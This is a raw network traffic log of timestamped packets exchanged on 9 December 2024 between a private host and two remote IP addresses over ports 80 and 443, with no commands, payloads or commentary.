Dec 9, 2024 21:09:35.022850990 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.023411989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.023480892 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.023680925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.023744106 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.024507999 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.024575949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.024777889 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.024844885 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.025574923 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.025641918 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.025971889 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.026035070 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.026663065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.026729107 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.026760101 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.026823997 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.027810097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.027988911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.028060913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.028915882 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.029227972 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.029233932 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.029294968 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.030085087 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.030227900 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.030334949 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.030529022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.031155109 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.031245947 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.031300068 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.031368017 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.032284021 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.032371998 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.032382965 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.032438993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.033371925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.033513069 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.033597946 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.034425974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.034492970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.034507990 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.034586906 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.035682917 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.035764933 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.035834074 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.035896063 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.036664009 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.036727905 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.037066936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.037130117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.037750006 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.037812948 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.038131952 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.038196087 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.038860083 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.039048910 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.039115906 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.040124893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.040189981 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.040225029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.040291071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.041147947 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.041210890 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.041280985 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.041342974 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.042196989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.042584896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.042649031 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.043371916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.043436050 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.043591022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.043661118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.044456959 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.044492006 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.044503927 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.044528961 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.045520067 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.045715094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.045756102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.046624899 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.046664953 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.046789885 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.046832085 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.047713041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.047751904 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.189502001 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.189551115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.189568043 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.189599991 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.190105915 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.190148115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.190300941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.190422058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.191203117 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.191246033 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.191613913 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.191653967 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.191950083 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.191993952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.192691088 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.192825079 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.192954063 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.193046093 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.193783998 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.193824053 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.193918943 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.194072008 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.194904089 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.194952011 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.195267916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.195311069 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.196010113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.196057081 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.205288887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.205348015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.205518007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.205562115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.205807924 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.205853939 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.206125021 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.206908941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.206964970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.207020998 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.207062960 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.208116055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.208154917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.208452940 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.208492994 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.209156990 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.209194899 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.209311008 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.209347963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.210174084 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.210220098 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.210285902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.210422039 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.211360931 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.211404085 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.211838007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.211884022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.212439060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.212481022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.212609053 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.212718010 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.213546991 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.213598967 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.213706970 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.213787079 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.214689016 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.214761019 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.214792967 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.214826107 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.215779066 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.216001034 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.216042995 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.216908932 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.217160940 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.217192888 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.217231989 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.218105078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.218152046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.218491077 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.218527079 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.219079018 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.219124079 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.219297886 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.219341993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.220339060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.220386028 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.220824957 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.220868111 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.221295118 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.221338987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.221453905 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.221575975 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.222417116 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.222464085 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.222553968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.222687006 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.223694086 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.223745108 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.223846912 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.223893881 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.224653006 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.224692106 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.224786997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.224828005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.225796938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.225878000 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.225887060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.225920916 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.226967096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.227004051 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.227176905 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.227528095 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.228004932 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.228051901 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.228348970 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.228390932 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.229053020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.229098082 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.229123116 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.229157925 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.230201960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.230288029 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.230323076 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.230436087 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.231348038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.231735945 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.231774092 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.232405901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.232449055 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.232631922 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.232670069 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.233562946 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.233779907 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.233815908 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.234585047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.234632015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.234761953 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.234828949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.235925913 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.235968113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.236119986 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.236407042 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.236804962 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.236850023 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.237200022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.237241030 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.238091946 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.238141060 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.238260031 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.238348961 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.239170074 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.239209890 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.239294052 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.239329100 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.240147114 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.240190983 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.240463972 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.240505934 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.241410017 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.241451025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.241573095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.241609097 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.242595911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.242767096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.242804050 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.243489981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.243530035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.243660927 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.243695974 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.244643927 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.244687080 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.244870901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.245699883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.245739937 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.245796919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.245835066 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.246829987 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.246871948 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.246905088 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.246938944 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.247862101 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.247901917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.248130083 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.248166084 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.249058962 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.249094963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.249608994 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.249644995 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.250065088 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.250103951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.250190020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.250227928 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.251214981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.251591921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.251631975 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.252352953 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.252391100 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.252670050 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.252712011 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.253437996 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.253474951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.253513098 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.253549099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.254592896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.254798889 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.254834890 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.255592108 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.255630016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.255697966 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:35.255798101 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:35.256923914 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:35.256963015 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:35.256975889 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:35.256987095 CET	49924	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:35.256990910 CET	443	49924	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:35.381791115 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.381850958 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.382102966 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.382114887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.382162094 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.382240057 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.382287025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.383168936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.383419991 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.383573055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.383625031 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.384351969 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.384840965 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.384876966 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.384891033 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.385510921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.385557890 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.386049032 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.386099100 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.386502028 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.386553049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.387124062 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.387615919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.387639046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.387664080 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.387684107 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.387723923 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.388679028 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.388794899 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.397492886 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.397541046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.397787094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.397847891 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.398081064 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.398093939 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.398139954 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.399137020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.399178982 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.399270058 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.399341106 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.400227070 CET	80	49923	185.215.113.16	192.168.2.6
